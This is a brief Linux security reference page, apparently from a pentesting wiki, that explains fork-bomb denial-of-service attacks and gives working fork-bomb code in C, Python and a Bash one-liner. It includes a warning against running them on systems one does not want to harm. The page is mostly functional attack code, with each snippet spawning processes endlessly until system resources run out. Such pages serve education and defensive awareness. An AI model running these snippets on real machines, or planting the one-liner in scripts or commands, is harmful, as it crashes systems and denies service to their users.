Fork Bomb

Last modified: 2023-07-24

Linux

Fork Bomb is one of the denial-of-service attacks which lead the system to deplete the available resources by replicating a child process infinitely.

Warning

Please don’t execute the following programs in system that you don’t want to harm.

Exploitation in C

This program forks child processes continuously.

#include <stdio.h>
#include <sys/types.h>

int main()
{
	while (1)
		// Create a child process from the parent process.
		fork();
	return 0;
}

Exploitation in Python

import os

while True:
	os.fork()

Exploitation in Bash

:(){ :|: & };: